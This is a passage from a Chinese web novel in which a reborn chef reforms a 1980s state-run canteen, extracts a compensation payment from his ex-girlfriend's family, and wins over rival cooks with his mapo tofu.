饭菜品质、推陈出新是餐饮行业的老生常谈,这个就更加不用担心了,有后世烹饪天花板坐镇,达成这些都是手拿把掐的事。
黎军的一番说辞,让在座的都惊掉了下巴,微笑服务这条对他们来说,改变就不容易。
都是铁饭碗了,谁还惯着那些上门吃饭的。放着优越感不去显摆,都对不住自己国营饭店服务员的身份。
“顾客就是上帝,你看顾客的脸就当是看他们的口袋,那里边装着咱们的工资和奖金呢,看到钱你不高兴吗?”
面对端着铁饭碗的服务员,黎军苦口婆心道。
在后世,服务是餐饮行业生存的关键,都是拿钱吃饭的,凭啥买气受,根本不存在的好吧,你不提供点情绪价值,人都不愿意搭理你。
“哎呀,黎师傅这嘴巴生得溜,思路也清晰,一下就让人把注意力转移到人见人爱去了,只要给钱,你叫我管顾客叫爹都行,给钱谁还能不高兴。”
服务员李谋女笑嘻嘻道。
“好家伙,李大脯子,看你这笑容猥琐的,就差说给钱上炕都行了。”
史建军拿她打趣。
“你个臭狗屎、老蔫货滚一边去,你就是给钱老娘也不跟你上炕。”
人群轰笑,这俩人就是二食堂的一对活宝。
几个点子吃饭时间就说定了,刘小福被说得是心花怒放,放下碗就回办公室去了。
其他人则各就各位,准备当天的食材。
中午上了四桌吃便饭的,加起来不过二十几个菜,总营业额才三五十块钱,生意差得一塌糊涂。
“哎……服务员同志,你们二食堂换厨子了?”
一个吃完饭打算结账的叫住刘曼问道。
刘曼正在拖地,收拾完就要开饭了。她本来不打算搭理这人,以往她们都是这么对待顾客的。
但是想起早上黎军说的微笑服务,立刻就换了一副笑脸。
“是啊,你怎么知道的,今天才头一天上班呢!”
那个顾客看向同伴:“咋样,我没说错吧?”
“就说今天的菜味道不一样,原来是换人了啊!”
黎军正在刘小福的办公室跟他商量事情,服务员杨小翠敲门进来,说门外有一个大姑娘找他。
不用想黎军都知道是谁,他跟华妮娜说过,自己转业到二食堂的事情。
这是早上没得到结果,又找到二食堂来了……
第11章 着急卖闺女
华妮娜早上没跟黎军说几句话,这货就撒丫子跑了,那一句血口喷人在她脑海里萦绕了半天都没有散去。
回家后又碰上心急火燎的姑妈和姑丈,一顿数落让她脑仁都要炸了。
没办法又骑着自行车找到二食堂,这次她是狠了心的,黎军不给她个说法就不回去了。
看到小脸扭曲的华妮娜,黎军心里一阵暗爽,还是打脸舒服啊!
“黎军,你什么意思?”
华妮娜看这货一副吊儿郎当的架势就心里来气。
黎军挠了挠耳朵孔:“什么什么意思,咱俩不是分了吗,你家人都打上门了,还打算怎样?”
“你……你真的打算就这么分了吗?”
黎军语气笃定:“你觉得还有挽回的余地吗,我跟你已经说清楚了,我娶的是你,不是你全家,现在打也打了,就别想着再打感情牌了。”
“真没想到,你是这么狠心的人,算我华妮娜瞎了眼。”
华妮娜气得直突突,眼睛都红了。
黎军不置可否,给自己点了一根烟,好整以暇地抽着。
“你说吧,要怎么才能给我表弟写谅解书?”
见黎军不说话,华妮娜不再抱有幻想,打算开门见山了。
“很简单,赔偿我弟的医药费,误工费以及精神损失费就行了。”
华妮娜瞪大眼睛,一副不可置信的模样:“啥……啥误工费……精神损失费,你弟损失啥精神了,还要损失费?”
黎军冷笑:“脑袋缝了十几针,血都流了大半桶,不得休养一段时间了,这不需要误工费,被人打后,心灵的创伤不需要弥补和安慰了。”
“十几针、血流了大半桶,你有脑子没,那样子人还能活吗?”
华妮娜没好气瞪着黎军。
“哦……大半桶是个修辞手法,别在意这些细节,我不想跟你废话,让你表弟出五百块吧,否则我弟肯定起诉他,让他蹲几年大狱。”
华妮娜都要翻白眼了,他们家去年一年才收入两百多,五百块这么大口,也亏得黎军张得开嘴。
“你觉得我家能拿出五百块吗?”
“哎哎,搞清楚,我不是要你家拿,是要你表弟拿,咱俩好歹好过几年,我怎么能要你家出钱。”
黎军一脸坏笑。
“你别胡说八道,谁跟你好过几年了?”
农村说这话就有大问题,那有上炕的嫌疑,既然决定分了,华妮娜绝不能让黎军胡咧咧,那样对她名声不好。
“那就是没好过了,那还说个屁,谅解书你找我弟弟去吧!”
黎军说着就要转身,华妮娜赶紧一把拉住他的衣角。
“你不能走。”
黎军看着她白皙的小手有些感叹,这对小手以前是那么勾人,握在掌心里是那么的柔软,可现在看着,居然有些厌恶。
这个华妮娜也算是天生丽质,农村女孩,很少有这么白皙的,冬天洗衣干家务,烧火做饭,对皮肤影响很大,但她却一点儿没受到影响。
“别拉拉扯扯的,对我名声不好,我以后还要找老婆的。”
华妮娜那个气,说得这叫人话吗,我一个女孩子,名声就不重要了吗?
“黎军,咱们好说好散,既然分了,还做好朋友好吗?”
黎军一阵无语,又打感情牌。
“你说的五百块太多了,我姑丈根本没有,你少要点。”
华妮娜知道,这钱不管多少都得她家出,姑妈家穷得都快拉枣棍了(要饭),上哪弄五百块钱去。再说了,这事也是因为她家而起。
这时黎军注意到,食堂大门后有几道身影晃动,不用说就是被围观了。
于是丢掉烟头,认真道:“三百块吧,我弟被打得头破血流,是真的缝了十几针呢,这事我家人面子上也下不来。”
那年头三百块也不算少,普通工人一级工资才不到三十块。
华妮娜还想说啥,黎军却已经转身朝食堂走去。
“对了,明天早上八点,咱们派出所见,一手交钱一手写谅解书。”
回到食堂大厅里,几个服务员呼啦一下就围过来了。
“黎师傅,那谁啊,长得蛮漂亮的?”
“是你对象吧?”
“是不是正在谈的女朋友?”
黎军长的不算太帅气,但却胜在高大,加上他被认可的卓越手艺,就成了讨喜女人的类型。
“前女友,已经分手了。”
黎军风轻云淡道,似乎分手这么漂亮的女朋友无足轻重一样。
“为什么,你俩看着挺般配的?”
“就是就是,因为啥分手的?”
黎军无语,女人不管年龄大小,八卦的体质是一样样的。
除去华家人的吸血体质,华妮娜本身似乎真的没啥大问题。
于是叹了口气道:“我这人八字有点穷逼属性,她又是富贵体质,我俩八字不合!”
“啊……”
“不是说封建迷信不可信吗,你们居然信这个。”
依然有人想八卦。
二食堂生意不好,已经成刘小福的心病了,对黎军的几条建议,可以说是盲目的信任。
一把手徐良对二食堂的升级也大为赞同,电话里表态,让刘小福自己安排处理,工期要是实在错不开,放几天假也行,反正就那点生意。
下午三点左右,刘小福就带了木业社的几个师傅过来测量后厨尺寸,打算用木框架和玻璃代替后厨的隔断,达到黎军所说的明厨亮灶效果。
几个师傅一看,就说面积土方量较大,几天根本弄不完,贴瓷砖的话,估计得五六天。
于是刘小福和黎军商量,果断放假一周。
与其这样不死不活地吊着,还不如直接关门升级,到时候以全新面目示人,那样效果反而更好。
于是黎军刚上了不到一天班,二食堂就欢天地喜地放假了。
所有员工看黎军的眼神都要拉丝了,这就是一个福星,好端端的就放假,简直不要太爽,反正都是混日子挣工资。
第二天早上,临县车站派出所门前,华老三和女儿华妮娜一脸阴沉地等着黎军。
“丫头,我跟你廖叔说好了,下午就安排你和侯胜利见面,他爸可是公社书记,家庭条件比黎家强了百倍不止。”
华老三说这话的时候有些得意,在普通社员眼里,乡长比皇帝听着都给力。
华妮娜愕然:“爸,你啥时候见的廖叔,我咋不知道?”
“昨天晚上,我回来都十一点了,就没跟你说。”
华妮娜表情有些不自然:“可是爸,我听说那个侯胜利名声不咋样,仗着老子是乡长,有些无法无天呢!”
“说啥傻话呢,这年头谁敢无法无天,刚严打过去,没王法了吗,他老子是县长也不敢张狂。”
廖建国是华老三的表亲,跟公社书记侯正东是战友,知道他儿子觊觎华妮娜很久了,奈何这女孩名花有主,让他望洋兴叹。
华妮娜咬着嘴唇没吭声,心里是不愿意见他爸所说的侯胜利。
人的名树的影,都是一个乡的,侯胜利的名声对年轻女孩就像是一坨屎。
见闺女没吭声,华老三拍了拍她的肩膀。
“爸是不会害你的,那个侯胜利也没传言的那么不堪,年轻人嘛,行为难免放纵了些,等结婚后性格就会沉稳下来。
听你廖叔说,他爸还年轻,极有可能往上再挪一挪,到时候你就是县长的儿媳妇了,村里人谁不害红眼病。”
县长儿媳妇这话,华妮娜听得突然就心动了。
老妈嘴前一句话,嫁汉嫁汉,穿衣吃饭,嫁到县长家做阔太太,想想就觉得有点飘了。
“在哪里见面?”
华妮娜突然就想赶紧去见面了。
“国营第一饭店,已经说好了,十一点半,两家人顺便在那里吃顿饭,把彩礼直接通了。”
“啊……这么快!”
华妮娜都惊呆了,爸妈这是有多着急把自己嫁出去……不对,应该说卖出去。
就在这时,黎军骑着自行车在路对面停下。
“老华叔,你怎么这么早,着急捞你侄子回去吃啥热乎的吗?”
华老三和华妮娜同时翻了个白眼,这货说话就是欠揍。
“别废话,钱我带来了,赶紧出谅解书吧,老子现在半只眼睛都不想看见你。”
“对了老华叔,你两个儿子真的要去机械厂当工人了吗?”
黎军故意恶心华老三。
“嗯……下周一报道,这工作买的话可不便宜,要两千块呢,不过华龙华虎一毛钱没花!”
华老三一脸骄傲。
华妮娜脸色却有些不太好,爸妈这安排也太着急了,她到现在还啥都不知道呢!
黎军也是吃了一惊:“咋了,天上掉馅饼了?”
“嗯,那倒没有,侯胜利你知道吧,他要死要活的要娶妮娜,这工作他爸侯正东给安排的,下周一就去报道。”
黎军嘴角抽了抽,侯胜利他不清楚,但是侯正东他却知道,红旗公社做了快十年的书记。
“哦……攀上高枝了,那恭喜啊!”
这句恭喜倒是真的,好说好散,没啥放不下的。
谅解书是派出所安排人写好的,双方签了字之后,华老三肉疼地将三百块拍到桌子上。
“老侄,都是一村一院的住着,做事留一线,日后好相见,咱们山不转水转,走着瞧!”
第12章 被借调
“吆……老华叔这是威胁我呢,走着瞧啥呀,瞧把你能的,攀上个高枝,还能把我家弄成负社员咋滴,没镜子还没有尿了?”
这句话把办事的民警都给逗笑了。
华妮娜盯着黎军离开的背影,眼神中透着怨毒:“爸,你说你钱给了就算了,搭理他干嘛,他这是吃不到葡萄说葡萄酸。”
黎军在派出所门外开车锁的时候,一辆吉普车在路边停下。
一个跟他差不多的年轻人打开车门下车,靠在车门上点上一根烟。
他面相英俊,长发及肩,皮夹克铮亮,喇叭裤夸张得能塞进一头猪,脚下的火箭皮鞋如同鳄鱼嘴巴一样向前突出……
黎军突然想起华老三所说的侯胜利,心里大概有点思路,眼前这个烧包应该就是了。
不过这货虽然打扮超前,长相英俊,却站没个站像,头眼歪斜,腿脚相互交叉,一只脚尖点在地上,像吃了耗子药的狗一样抖着,一种浑然天成的不着调感觉扑面而来。
这时华老三父女出了派出所大门,年轻人立刻丢掉烟屁股,谄媚地迎上去了,手里的华子也弹出一根。
“华叔,您抽烟。”
黎军见状,心中的猜想直接坐实,于是不再墨迹,蹬着二八大杠就打算离开了。
“哎……那个……黎家小子,你等等。”
华老三的声音突然响起。
黎军停住车回头:“干嘛,还有事?”
“给你介绍一下,这就是妮娜的对象,胜利,他爸就是咱们公社的书记。”
侯胜利听到这话明显顿了一下,他惦记华妮娜不是一天两天了,奈何人家不给机会,吃不到的感觉让他蛋都要碎了。
这突然被说成猎物的对象,整个人就觉得有些飘了。
他清楚自己的身份,对华父这种农村势利眼意味着什么。
这种被人抬出来无形的装逼,就觉得很爽,情绪价值到位得不要不要的。
然而黎军的一句话,让他脸色顿时就垮了下来。
“哎呀,出门裤衩子套脑袋上了,这逼装的。”
华老三也是脸色一黑:“小王八蛋说啥呢?”
“老王八蛋说谁呢?”
“就说你呢,咋了?”
侯胜利立刻站队,跟八字还没一点的老丈人统一战线。
“哦……算了,我小人不记大人过,不跟你老王八蛋一般见识。”
说完脚下用力一蹬,自行车离开原地,往大路上而去。
侯胜利和华老三两脸懵逼,都觉得刚才的对话有问题,半晌才知道自己被骂了。
华妮娜脸色铁青地盯着黎军离开的背影,小脚狠狠地跺在地上。
“黎家没一个好东西,嘴巴臭得要死。”
“嘿嘿嘿,娜娜,别跟这种人一般见识,回头哥哥帮你狠狠地教训他一顿,给你好好地出出气。”
侯胜利心里也气,但是面对未来老婆和老丈人,立马换上一副笑脸。
头一次被除了老子以外的男人叫娜娜,华妮娜只觉得浑身都洋溢着幸福。
黎军揣着华家赔偿的三百块钱,直接回了家。
弟弟黎强脑袋上有伤,这几天就没去县里干活。
“哥,你回来了,华家赔偿拿到了没?”
黎军将三百块拍在弟弟面前的桌子上:“三百块,要不是看在一村一院的住着,没有五百块,他休想从我们这里拿到谅解书。”
黎强美滋滋地伸手去拿钱,却被一只手提前拿走。
“没事揣这么多钱干嘛,放在老妈这里,回头你们哥俩说媳妇都要用。”
黎母笑嘻嘻地把钱揣进兜里。
黎强耷拉着脸:“妈,你好歹给我留点啊,我这么大个人,谈女朋友不花钱吗?”
黎母怒斥:“谈女朋友花啥钱,别学你哥那赔钱货,冤大头一样给女人花钱,到头来毛都没捞着。”
黎军顿时脸黑,自己这是躺枪了啊!
“妈,你就多给我点钱,让我手头宽松点,在女朋友面前有点面子不行吗?”
黎强接着叭叭。
黎母脸色平静:“你妈养猪是为了吃肉,而不是让猪过上幸福生活的。”
黎强无语。
黎军赶紧插话:“妈,我那事以后您就别再提了,提得多了,别人会笑话咱老黎家后人没用的,再说了,我也不是毛都没捞着?”
黎母转向大儿子:“你捞着啥了?”
“我把她亲了,还上下都给摸遍了。”
黎母抬手就给这逆子一个大脖溜子:“你个不着调的玩意,现在暂时不提女朋友的事了,你回来也几天了,抽空去你姐家转转,她好多天没来了,也不知道家里好着没?”
黎军摸着脖子答应。
姐姐出嫁已经三年,嫁到了相邻公社的某村,离娘家并不远,以前每隔几天就回来娘家一趟,这次一个多月也没来,黎母有些担忧。
“那行吧,我一会去百货大楼买点东西,中午跟强子一块去。”
百货大楼就在二食堂对面,黎军到这里的时候,发现食堂的几个服务员都在门口。
他有些纳闷,昨天就放假了,她们怎么还在单位。
“黎师傅,你知道了啊,还打算安排人去你家叫你呢?”
看到他走过来,服务员刘曼问道。
“我知道什么,你们怎么在这,放假了不在家里好好待着?”
“嗨……还待个毛,那笑面虎听说我们放假了,差点气得吐血,这不就给我们安排上了吗,二食堂所有人去第一、第三食堂帮忙,说公家的钱不能养闲人。”
史建军的声音从人群后响起,黎军朝他看过去,只见李谋女跟在他身后,两人脸颊酡红,眼神迷离,就像是喝了酒一样。
黎军有些愕然,经历过一世,这情形根本不用猜就知道有鬼。
上一世没听说过这两人有猫腻啊,还是说自己上一世日子过得一地鸡毛,忽略了这种大瓜。
二食堂主要经营场所在一楼,二楼有许多地方都空着,为了值班方便,就改成了员工宿舍。
不过除了值班以外,基本上都空着。
看到黎军看向身后的二楼楼梯,史建军脸上有些许尴尬,不过瞬间就被掩饰过去。
“大军,抽根烟,你被借调到一食堂了,笑面虎说必须赶在十一点之前到。”
黎军接过烟点上,知道这笑面虎是心里阴暗,见不得别人好过。
“还有谁被借调一食堂了?”
黎军问道。
余家良和李谋女以及刘曼举手,脸色有些难看,因为一食堂是真的忙。
“你们怎么这副表情,大河有水小河满,食堂挣了钱,做厨子的脸上也有光不是吗?”
黎军话里的意思让其他人不满。
“要是咱们二食堂忙碌也就算了,咱们真的能多拿一点奖金,一食堂的奖金跟我们毛关系都没有好吧!”
余家良颇有怨气道。
“心态,注意心态,做人要大气,别斤斤计较,工作态度决定了你们在工作中的高度和地位。
以后咱们二食堂生意肯定会超过他们,到时候忙得你们放屁都没工夫,你们也这样子抱怨吗?”
“那不能够,二食堂是咱们的根,话说黎师傅,你说的那个火爆场景是真的吗?”
李谋女有些不信,二食堂一直被左祖安针对,生意差得都快凉凉了。
“放心吧,跟着军哥混,三天饿九顿……嗯不是,是枕着钞票睡。”
一食堂后厨,正在如火如荼地进行准备工作。
那时候大街上买吃食的,只有国营食堂一家独大,那生意是真的好。
王家福坐在传菜间,端着他的大茶缸子喝茶,手里的香烟烧到手指也舍不得扔掉。
他的对面,是一个比他年龄小很多的厨子,此时手里捏着个大白萝卜,正在聚精会神地雕刻。
第13章 打辅助的
“食材雕刻其实由来已久,过去那些年物资短缺,吃都吃不饱,谁还讲究这个,左厨也是的,去看了个试菜的新人,居然要求我们弄这个,真是正事不干,闲事有余。”
王家福丢掉烟头,看着雕刻的年轻人不满道。
他也懂一些雕刻技艺,但是十几年不动手,早就忘得差不多了。
“王师傅,听左厨说,那个新人也不过二十三四岁,能有多高的厨艺,没准只是雕刻上有些功底罢了。”
“呵呵……小郑,别小看任何人,干我们这一行的,讲究天赋,聪明人一点就会,笨蛋学到死也出不了徒。”
“你们师徒在这说啥呢?”
传菜间又走进来一个年轻厨子,手里也端着个大茶缸子。
干厨房的有个怪像,大茶缸子似乎是师傅的标配。
“李师来了,您看看我雕刻这个绶带鸟咋样?”
郑文杰拿着自己的雕刻品献宝似的问道。
李庆林瞥了一眼嗤笑,嘴里的茶水差点没忍住喷了。
“你可别逗了,你这叫绶带鸟,说是老母鸡都抬举你了,赶紧丢掉,没有几年功底,这玩意上桌就是笑话。”
郑文杰有些脸黑,他的师傅王家福脸色也不太好看。
这么说分明就是打他的脸吗,郑文杰的东西都是他教的。
“王老哥,你可别往心里去,我听左厨说了,二食堂那个新厨子,手艺跟他不相上下,一会人家就来了,你们师徒这雕刻别拿出去让人看了笑话!”
王家福臭着脸起身:“一个初出茅庐的小伙子,我就不信了,他能有多高深的厨艺,除非他打娘胎里出来就进厨房。”
这时有服务员拿着菜单进来,几个人一看来菜了,就一起往后厨走去。
左祖安也在这时笑眯眯地进了后厨。
“老王,庆林,阿杰,一会二食堂那个新厨子来了,让他直接上主火,你们也好好地开开眼。”
话音落地,一包大前门砸在李庆林胸口。
这货伸手接住,直接拆开给厨房里人散了一圈,剩下的直接揣进自己兜里。
“的嘞,左师放心,我们一定让他连放屁都找不到工夫。”
黎军带着余家良和几个服务员进一食堂大门,就发现大厅里已经有两桌客人了。
“嘿……瞧瞧人家,不到十一点就上人了!”
余家良叹息,二食堂生意跟人家比起来,简直不如一坨翔。
“别羡慕那没用的,一食堂开了二十几年,是个人都知道来这吃饭,二食堂才开了几天?”
黎军清楚饮食公司的所有细节,了解国营饭店的底蕴。
“那三食堂呢,比二食堂还晚,人家怎么有生意的?”
余家良话音刚落,就遭来黎军的白眼:“你是猴子请来的逗比吗?”
几个人懵懵地看向黎军:“啥意思?”
“什么猴子、逗比,说的什么玩意?”
“你能不能不抬杠,三食堂位置多好,背靠三个上万人的国营大厂,那人流量一食堂都比不上好吗?”
李谋女诧异地看着黎军:“你是刚来的吗,怎么知道得这么清楚。”
刘曼也很惊愕:“你调查过二食堂没生意的原因?”
黎军用食指挠了挠鼻子,有些违心道:“要不然呢,我凭什么夸下海口,手艺只是一个方面,知己知彼百战百胜吗,走吧,这都上人了咱们才来,一会总厨该发飙了。”
左祖安这时笑呵呵地走过来:“黎师傅,余家良,你们来了啊,一食堂太忙了,就把你们临时借调过来,反正二食堂暂时停业了。”
李谋女和刘曼翻了个白眼:这货明显是眼睛被屁熏了,她俩这么大美女站在这看不见吗,马虎应付一下也行啊,太不尊重人了。
黎军点头:“抱歉,我们接到消息有点晚,这都上人了。”
“不碍事,今天上人有点早,这也没办法,生意一天比一天好,那个余家良,你带黎师傅去换工服,后边已经忙活开了。”
进了后厨后,黎军发现,砧板上正在忙碌切配,炉子上站着三个大厨都没动,似乎在专门等他一样。
“王师傅、李师傅,这是我们二食堂的厨师长,他姓黎,黎明的黎……黎师傅,这是一食堂的主厨王家福和李庆林同志,都是老师傅呢!”
余家良赶紧给黎军介绍。
“黎师傅来了,幸会幸会,左厨可是把你好一顿夸,说你跟他的水平不相上下,让我们好好的跟你学学。”
王家福笑呵呵道。
黎军知道在场的几个人,都是左祖安的忠实狗腿子,人品不咋样,但手艺在当时都说得过去,要不然一食堂也不会有这么好的生意。
“就是就是,中华饮食文化,浩渺如烟,博大精深,干到老学到老,黎师傅今天可得给我们狠狠地露几手,让我们好好地长长眼。”
黎军转头看向说话的李庆林,觉得这一世看这货有点傻不拉叽的。
“你的意思是你们就在边上看着我一个人整?”
“哦……左厨说了,您是大师傅,让我们跟您好好的学学。”
李庆林有点尴尬。
“嘿,你那大鼻涕泡往回吸吸,美的你,我只是来帮忙的,是个打辅助的,你们可别把我当成主力?”
炉子上的几个人面面相觑,这新来的这么一根筋,说话这么不客气吗?
黎军暗自冷笑:拿我当大冤种,你们可打错了算盘,老子才不惯着你们。”
这时打荷地把一份配好的食材拿过来。
“连山回锅肉,肉片要干一点,要蒜苗不要尖椒。”
这是一道有着浓郁地域风味的川菜,很有地方代表性。
见黎军站着没动,王家福嘴角抽搐了一下,系上围裙直接上了炉子。
做厨子得有个不成文的规矩,不能让顾客久等,那是对行业的不尊重。
郑文杰见状,直接站在二火位置,打算给自己师傅打下手。
李庆林看了看黎军,想要说点什么,但是看这家伙一副高大威猛、生人勿近的架势,撇了撇嘴也上了第二组灶台,他也是主厨之一,负责二火的是他徒弟,不过今天他有事请假了。
黎军看了看余家良:“你去给李师傅打下手。”
余家良指了指自己鼻子,黎军眼角微扬:“你不去我去了。”
“啊……哦,我去我去,怎么能让你给人打下手。”
厨子出师不容易,跟的师傅越多,眼界就越宽,手艺进步就越大,给不同的大师傅打下手,更容易学到他们的操作精髓。
所以余家良不可能放过这么好的学习机会。
这时服务员开始陆陆续续送菜单进来,后厨真正的战斗拉开帷幕。
“水煮牛肉,麻味减半……”
“爆炒腰花,不要加醋……”
炉子上炒瓢飞火,锅气四溢,传菜员来回穿梭,砧板上小刀翻飞,打荷的左右穿插……
后厨在瞬间运转起来,黎军安静地看着一幕幕忙碌景象,上一世的记忆像幻灯片一样在脑海里滚动……
人间烟火气,最抚凡人心……
第14章 装过头了
后厨彻底忙开之后,黎军上了末尾的灶台,这里挨着上杂区域,以往都是给凑数的二把刀厨子加塞用的。
用签子捅了捅炉火,将炉灰中的硫化渣挑出,加了一铲子无烟煤后盖上一把炒瓢。
那个年代后厨用的都是无烟煤灶台,强大的吸风烟囱会提供给炉膛内足够的氧气,火力很足。
听着炉膛里呼呼的风声,黎军内心不禁感叹。
这玩意虽然用起来有点麻烦,但是炉口过火面积大,火力旺,比后世煤气灶或者液化气灶火力更加均匀。
一个荷王见黎军上了炉灶,就看了看王家福和李庆林。
两个人都面色阴沉,没搭理他,黎军刚才可以说一点面子都没给他们留。
荷王缩了缩脖子,这是神仙打架,凡人遭殃了。
没一会功夫,炒瓢里的水开始剧烈翻滚,说明炉火已经烧起来了。
黎军看没人给自己这边送待加工菜品,不禁有点尴尬。
刚才似乎装过头了,现在人家都不搭理自己了。
“打荷的,你们是死人呐,不知道往这边加一路吗?”
尴尬了瞬间,黎军就恼羞成怒了,他是烹饪界大佬级别,可不会惯着这些人。
慕强是人类通病,后厨是个靠实力说话的地方,只有你有真材实料,大家都会尊敬你,朝你靠近。
荷王看了看他,然后从李庆林身后的工作台端了几个配好的菜品给他,同时喊了一个配菜的看过来。
“王力,往这边加一路。”
没啥硬菜,都是些家常菜品,那个年代下馆子还是比较奢侈的,工人阶级虽说下得起馆子,消费的也都是一些家常菜。
黎军手脚麻利,四十年的积累可不是盖的,身后的工作台基本不会积压多余菜品。
几个打荷的这时都发现了端倪,这个新来的出菜特别快,那炒瓢就跟翻花似的,玩得贼溜。
而且这人看着气定神闲,根本没有陌生场地的不适应感觉,操作行云流水,观赏性极强。
“十六号单加一道麻婆豆腐。”
服务员在叫餐口喊道。
麻婆豆腐是川菜最典型的代表菜,成菜特点必须具备、麻、辣、烫、香、酥、嫩、鲜这些特点。
这道菜可以说是个厨子就会做,但是真正掌握灵魂的并不多。
首先是做川菜的井盐和豆瓣酱、花椒这些因素,其次就是厨子的技艺。
李庆林看了看王家福,刚开始上菜,他还没烧过这道菜,以为是王家福做的。
一般情况下,加菜都会交给同一个人做,口味不会出现大的波动。
王家福正在出菜,没工夫搭理他的眼神。
打荷的又递给他一盘嫩豆腐,配料都在另一个码斗里,有牛肉末,蒜苗等料头。
炉子上几个人都在忙碌,黎军也是心无旁骛地烧菜,这是他的爱好,进入状态后就会专心致志。
“六号桌加个麻婆豆腐。”
又是一个加菜的声音响起,这次打荷的直接把配料给了黎军。
大厅里,十六号桌,六七个身穿劳动布工服的中年人正在埋头干饭,他们是国营机械厂的工人,昨天开资,说好了今天一起下馆子改善的。
服务员端上来一盘紧汁漏油的麻婆豆腐。
“同志让一下,加的麻婆豆腐来了。”
对服务员有点欠的语气,几个人根本不在乎,这年头所有的国营饭店都是这种标配服务……生硬冷倔。
一口入嘴,几个人同时皱眉。
“不是刚才的味啊!”
“嗯……好像是缺点什么,没有刚才口味独特。”
“你们有几个厨子?”
服务员冷着脸:“十几个呢,咋啦,一个麻婆豆腐,六毛钱的菜,较什么真。”
顾客被怼得哑口无言,说得太有道理了,才六毛钱的菜,瞎讲究啥呀!
“同志,你这什么态度,有问题不该反应吗,虚心听取建议,才能不断进步不懂吗?”
一个年长的食客不愿意了。
“切……瞎讲究,帮你们重新加工一下总行了吧!”
服务员一脸不屑,端起盘子回了后厨。
“刚才这豆腐谁做的,顾客说味道不对,谁给加工一下。”
王家福看了看退回来的菜,有些纳闷。
每个厨子对自己的出品都很清楚,从外观就能分辨出来。
尤其是王家福,他做麻婆豆腐有自己的一套心得,都是紧汁漏油,因为他觉得菜肴汁子收紧一些,调味料就会紧紧地附着在豆腐上,入口就会更加浓郁鲜香。
这个习惯也给他赢得不少好评,许多老饕就点着名要他做。
王家福皱着眉头用筷子夹了一块豆腐丢进嘴里,然后眉头就皱得更紧了。
这菜他觉得没毛病,跟自己以往的出品一般无二。
“顾客怎么说的?”
“人家说口味不对,没具体说什么毛病。”
“你尝尝,怕不是找事的吧?”
王家福把筷子递给李庆林,对方一脸嫌弃,从自己工作台拿起一双筷子。
“没啥问题啊,麻辣鲜香,该给的都给到位了。”
李庆林评价中肯,都是老师傅,这种事没必要说假话。
“我也觉得没问题啊,怕不是找事的吧……小刘重新配个麻婆豆腐!”
王家福安排重新配菜,又给重新做了一份。
然而重做一份后,顾客还是不满意,这次服务员直接不满意了。
“你们是不是找事的,这麻婆豆腐我们一天卖出去几十份,都是同样的做法,怎么就口味不对了。”
那个年长的工人皱眉解释道:“同志,你怎么能这样说话呢,我们吃的第一盘口味不是这样的,有浓稠的汤汁,鲜香中透着热辣,那个汤汁拌饭格外的美味,后边两盘都是干巴的,没啥汤汁呢!”
服务员纳闷看着桌子上的豆腐,跟以往的没啥区别。
这时六号桌的麻婆豆腐也上来了,从她身边经过时,她突然觉察到不同了。
两盘菜都有红油渗出,区别是六号桌的明显有汤汁存在。
“刘姐等等,你看两个豆腐有啥不一样的?”
刘曼停下脚步,看了看两盘豆腐:“那个没啥汤汁,这个汤汁多一点。”
“把你这个给他们。”
刘曼虽然不解,也没多想,直接把手里的豆腐放在桌上。
“对了,就是这个味,入口特别烫,跟第一盘一个味。”
王家福看着又退回来的麻婆豆腐都郁闷了,就觉得自己被挑事一样。
被退菜是厨子最没面子的事情,连退两次让他都有点怀疑自己的烧菜手艺了。
站在里边的黎军往工作台看了一眼,就知道问题所在了。
王家福菜烧得没问题,是正常做法,但是自己的多了一道工序,豆腐汆水后,用四成热油温浸泡一下提升温度,然后再裹上麻辣汁子。
充盈的浓稠汤汁上封着红油,豆腐的热量流失会缓慢许多。
这在成菜特点有个说法,叫做“明油亮芡”,和紧汁漏油”两者极为相近却截然不同。
麻婆豆腐有个最重要的成菜特点,就是“麻辣烫”,黎军的做法极大发挥了麻辣烫的特点。
两者要是给不同的人品尝,恐怕吃不出什么差异,但是同一个人吃的话,绝对能够尝得出来。
左祖安发现这边的异常也走进后厨,皱眉打量着退回来的麻辣豆腐。
用筷子尝了一口后也是一脸官司:“没啥毛病啊,顾客咋说的?”
服务员:“他说这菜太干了,没啥汁子,后来六号桌上菜的时候,我把那盘给了他,他们都说就是那个味。”
左祖安走向砧板区域,拿下插在钉子上的菜单翻看,找到六号单就问道。
“这个六号单子谁配的,上的哪个师傅炉子?”
“是我,黎师傅做的。”
左祖安看了看王家福,也没说啥,因为他没看出这菜有什么失误,也许是黎军的技法更为高明吧!
“再配一个麻婆豆腐给黎师傅,让王师傅好好地学学。”
第15章 野路子
黎军还没反应,王家福却怒了,做大师傅的脾气都臭,谁也不服谁,左祖安的话无疑触怒了他的脸面。
“左厨你什么意思,我干了二十年厨子,还做不好一个麻婆豆腐吗,咱们一食堂八个必点菜,我的豆腐怎么着也得排前三吧,让我跟一个毛头小子学做豆腐,亏你说得出口!”
左祖安嘴角抽了抽:“每个人都有他独到的技能,同样菜不一样的做法你不懂吗?”
“我不懂,一个部队的大锅菜炊事员,知道怎么颠勺吗,会做小炒吗?”
王家福牛劲上来了,今天一个菜被退两回,心里本来就有股无名火,这时候谁的面子也不好使。
所有人都看着王家福,这么当众顶撞左祖安的,他还是头一个。
“老王,左厨也是好意,你不是常说吗,干到老学到老,世事经不了,赶紧忙你的去。”
李庆林赶紧劝慰。
左祖安换上笑脸:“嘿……好嘛,今天这是吃枪药了,算了算了,忙你的去吧,这人啊……不进步就意味着被淘汰。”
其他人听到这话不禁面面相觑,王家福也是狠狠地突突了几下,笑面虎的外号可不是白叫的。
左祖安说完走到黎军这边:“我来学学不介意吧?”
“呵呵,学啥呀,相互学习吧!”
一道寻常的家常菜,并没有什么可隐瞒的,当黎军用低油温给豆腐升温时,左祖安都惊呆了。
“卧槽,麻婆豆腐过油,你这是什么野路子!”
黎军没搭理他,豆腐出锅后,把盘子推向左祖安。
“这是我自创的做法,好吃就完了,管它什么野路子。”
李庆林也凑过来看稀奇:“哎吆……我们真是井底的蛤蟆上岸,开了大眼了,不过这汤汁似乎有点多啊!”
“哼……水尿巴汤的,怕是连收汁勾芡也没掌握好吧!”
王家福其实一直往这边偷瞄呢,见豆腐出锅,心里是彻底放心了。
这就是个毛也不懂的愣头青吗。
左祖安拿起勺子尝了一口,顿时被烫的吸溜吸溜直哈气。
“嘘……嘘嘘,鲜香麻辣烫,尤其是这个烫太突出了,让麻辣的体验更胜一筹,你这个明油亮芡掌握的非常到位。那个小李,小郑,赶紧都过来尝尝。”
